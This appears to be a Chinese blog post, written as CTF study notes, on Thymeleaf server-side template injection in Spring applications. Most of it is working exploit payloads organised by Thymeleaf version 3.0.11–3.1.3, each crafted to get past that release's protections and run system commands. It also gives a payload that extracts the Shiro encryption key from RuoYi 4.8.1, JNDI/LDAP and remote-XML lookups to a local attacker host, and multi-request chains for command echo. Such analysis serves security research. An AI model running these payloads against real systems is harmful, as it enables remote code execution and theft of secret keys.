Thymeleaf中的SSTI思路

来源于珂字辈师傅的SSTI挑战,虽然没做出来,但还是恶补了一下相关知识,故记录

1
2
3
4
5
6
7
8
9
<dependency>            
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

正常没有漏洞的写法:

1
2
3
4
5
6
7
@Controllerpublic class HelloController {     
@RequestMapping(value = "/index")
public ModelAndView hello(@RequestParam String username, Model model) {
model.addAttribute("username", username);
return new ModelAndView("index", "userModel", model);
}
}
1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>hello</title></head><body>
<h3 th:text="'hello '+${userModel.username}"></h3>
</body>
</html>

含有漏洞的写法:基本上return拼接都会有问题

1
2
3
4
5
6
@Controllerpublic class HelloController {     
@RequestMapping(value = "/login")
public String hello(@RequestParam String username) {
return "user/" + username + "/index";
}
}

版本:thymeleaf-3.0.12.RELEASE

username=__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.

1
2
3
__*{T (java.lang.Runtime).getRuntime().exec("calc")}__::.
__${{T (java.lang.Runtime).getRuntime().exec("calc")}}__::.
::__${T (java.lang.Runtime).getRuntime().exec("calc")}__.

更低版本:

1
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.

不可能存在漏洞的几种情况:这几种情况Spring都不会去调用模板解析

  • @ResponseBody、@RestController注解
  • return拼接时如果时以redirect:开头,即302跳转
  • 方法参数中设置HttpServletResponse 参数

Ruoyi-4.7.1com.ruoyi.web.controller.monitor.CacheController就明显存在SSTI

3.0.11版本

无任何限制,

1
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.

3.0.12版本

新增检测

org.thymeleaf.spring5.util.SpringStandardExpressionUtils.containsSpELInstantiationOrStatic()

首先不允许出现new(wen的倒叙),可以用New绕过。其次T不能接(,可以用空格绕过。

1
__${#response.addHeader("cmd",New java.util.Scanner(T (java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next())}__::.

3.0.14版本

new的检测逻辑没变,还增加了一个param的检测,同样可以用大小写绕过。对T的检测更加严格,考虑了空格情况,基本没有绕过可能,但有New可以用还能接受。

org.thymeleaf.spring5.util.SpringRequestUtils.containsExpression()

$*#@~要求后面不能接{,但是如果$*#@~后面是一个非空格符,就会将expInit置false,此时即使再接{也可以。换句话说就是说允许$${,这成了绕过关键。

1
2
__|$${#response.addHeader("cmd","test")}|__::.
__|$${#response.addHeader("cmd",New java.util.Scanner(New ProcessBuilder("cmd","/c","whoami").start().getInputStream()).next())}|__::.

3.0.15版本

检测逻辑无变化,但是在thymeleaf本体中增加了黑名单。

绕过黑名单:

1
__|$${#response.addHeader("cmd","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("org.apache.commons.io.IOUtils.toString(java.lang.Runtime.getRuntime().exec('whoami').getInputStream())"))}|__::.

在ruoyi 4.8.1中可以获得shiro key

1
__|$${#response.addHeader("cmd",#response.getClass().forName("org.springframework.util.Base64Utils").encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.

3.1.0版本

新增了安全措施.禁用默认的request/session/servletContext/response表达式对象。

但还是可以靠#ctx取到,一直到3.1.3都可以

1
2
__|$${"".getClass().forName("org.springframework.expression.spel.standard.SpelExpressionParser").newInstance().parseExpression("New javax.naming.InitialContext().lookup('ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho')").getValue()}|__::.
__|$${New org.springframework.context.support.ClassPathXmlApplicationContext("http://127.0.0.1:5667/1.xml")}|__::.

3.1.1版本

增加了黑名单

3.1.2版本

继续增加黑名单,前面的不能用了。可以看到黑名单上的基本都是thymeleaf+spring自己的依赖,只能去找第三方依赖。

不过New和forName()一直都是可以用的。

1
__|$${New com.zaxxer.hikari.HikariConfig().setMetricRegistry("ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho")}|__::.
1
__|$${New com.mchange.v2.c3p0.WrapperConnectionPoolDataSource().setUserOverridesAsString("HexAsciiSerializedMap:ACED0000000000;")}|__::.
1
__|$${New org.yaml.snakeyaml.Yaml().load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho', autoCommit: true}")}|__::.

3.1.3版本

增加了对Class的方法白名单限制,只能用getName/isAssignableFrom等,因此forName()不能用了,但还有New可以用,所以3.1.2的都能用。

后续挑战

不让用new,也就是几乎无法实例化类了。那唯一的解决办法就是从已经实例化的内置对象中,挑选一个能帮助实例化。

S2-061是从ognl的内置对象application上取到了org.apache.catalina.core.DefaultInstanceManager

S2-061参考

而DefaultInstanceManager就很有用了,它存在newInstance方法帮我们实例化对象。有两种方法都取得到这个方法:

1
2
@servletContext.getAttribute('org.apache.tomcat.InstanceManager')
#ctx.getExchange().getApplication().getAttributeValue("org.apache.tomcat.InstanceManager")

进行实例化:

1
__|$*{#ctx.getExchange().getNativeResponseObject().addHeader("cmd",@servletContext.getAttribute('org.apache.tomcat.InstanceManager').newInstance('org.springframework.expression.spel.standard.SpelExpressionParser').toString())}|__::.

限制长度怎么办:

找到一处可以永久存储对象的地方,用来存储恶意对象,方便用多次请求来分解payload。

1
2
@servletContext.setAttribute("key""value")
#ctx.getExchange().getApplication().getNativeServletContextObject().setAttribute("key""value")

因此简单的命令回显payload就出来了。

1
2
3
4
__|$*{@servletContext.setAttribute("p",@servletContext.getAttribute("org.apache.tomcat.InstanceManager").newInstance("org.springframework.expression.spel.standard.SpelExpressionParser"))}|__::.
__|$*{@servletContext.setAttribute("spel","n"%2B"ew java.util.Scanner(T"%2B"(java.lang.Runtime).getRuntime().exec('ping 127.0.0.1').getInputStream()).useDelimiter('\\a').next()")}|__::.
__|$*{@servletContext.getAttribute("p").parseExpression(@servletContext.getAttribute("spel")).getValue()}|__::.
__|$*{qqq(#w=#ctx.getExchange().getNativeResponseObject().getWriter(),#w.flush(),#w.write(@servletContext.getAttribute("p").parseExpression(@servletContext.getAttribute("spel")).getValue()))}|__::.

使用内置@jacksonObjectMapper对象来实例化对象也是可行的,java代码如下

1
2
3
4
//@jacksonObjectMapper    	
ObjectMapper mapper = new ObjectMapper();   
mapper.enableDefaultTyping();        JavaType  javaType = mapper.getTypeFactory().constructFromCanonical("org.springframework.expression.spel.standard.SpelExpressionParser");   
SpelExpressionParser parser =  mapper.readValue("{}", javaType);    parser.parseExpression("T (java.lang.Runtime).getRuntime().exec(\"calc\")").getValue();

SSTI:

1
2
3
4
__|$*{@jacksonObjectMapper.enableDefaultTyping()}|__::.
__|$*{@servletContext.setAttribute("javatype",@jacksonObjectMapper.getTypeFactory().constructFromCanonical("org.springframework.expression.spel.standard.SpelExpressionParser"))}|__::.
__|$*{@servletContext.setAttribute("parser",@jacksonObjectMapper.readValue("{}",@servletContext.getAttribute("javatype")))}|__::.
__|$*{@servletContext.getAttribute("parser").parseExpression("T"%2B" (java.lang.Runtime).getRuntime().exec('calc')").getValue()}|__::.

使用jacksonObjectMapper的情况下,增加参数进行命令执行,比较优雅:

1
2
?username=__|$*{@jacksonObjectMapper.readValue("{}",@jacksonObjectMapper.getTypeFactory().findClass("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression(#ctx.getExchange().getNativeRequestObject().getParameter('a')).getValue()}|__::.
&a=T (org.springframework.cglib.core.ReflectUtils).defineClass('payload.SpringEcho',T (org.springframework.util.Base64Utils).decodeFromString('yv66vgQQQQ'),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).newInstance()